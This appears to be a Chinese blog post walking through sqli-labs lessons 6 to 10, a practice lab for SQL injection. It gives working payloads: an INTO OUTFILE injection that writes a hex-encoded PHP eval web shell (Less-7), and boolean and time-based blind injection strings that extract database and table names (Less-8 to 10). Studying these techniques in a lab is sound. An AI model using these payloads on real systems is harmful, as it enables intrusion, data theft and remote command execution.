something about sqliLabs 0x02

sqli-labs

sqli-labs => 备份地址

Page-1(Basic Challenges)

Less-6

Get - Double Injection - Double Quotes - String

大致与Less-5相同,不同之处为闭合符号为双引号(")。

Less-7

Get - Dump into outfile - String

构造输出文件,输出webshell
?id=1'))+and+false+union+select+null,0x3c3f706870206576616c28245f4745545b27636d64275d29203f3e,null+from+dual+into+outfile+'C:\\wwwroot\\sqliLabs\\Less-4'+--+

此种漏洞条件比较苛刻,需要mysql配置可以写入文件,需要知道绝对路径等等。

其中0x3c3f706870206576616c28245f4745545b27636d64275d29203f3e<?php eval($_GET['cmd'])?>的hex编码形式。 关于hex编码可以使用vim组件的xxd

Less-8

GET - Blind - Boolean Based - Single Quotes

基于布尔的盲注,注入后,页面不会显示对应内容。

注入?id=1'+and+false+--+?id=1'+or+true+--+,发现页面响应内容不同,因此可以确认注入点。

确认注入点后,通过?id=1'+and+(length(database())+<+20)+--+获得数据库长度, 通过?id=1'+and+(ascii(substr(database(),1,1))>ascii('m'))+--+等可以确定数据库的名字。

通过?id=1'+and+(length((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))+<+20)+--+等 获得数据表的长度,id=1'+and+(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))+<+ascii('m'))+--+等 确定数据表的名字。

Less-9

GET - Blind - Time Based - Single Quotes

基于时间的盲注,注入后,页面不会显示对应内容。

注入?id=1'+or+true+--+?id=1'+and+sleep(5)+--+,发现页面响应时间明显不同,因此可以确认注入点。

通过与Less-8相似的注入技巧,可以获取敏感信息。

例:
?id=1'+and+(ascii(substr(database(),1,1))<ascii('m'))+and+sleep(5)+--+

Less-10

GET - Blind - Time Based - Double Quotes

通过?id=1'+and+sleep(5)+--+?id=1"+and+sleep(5)+--+页面响应时间明显不同,可以确定闭合方式为", 其它与Less-9相同。

作者

cSan

发布于

2022-01-06

更新于

2022-01-06

许可协议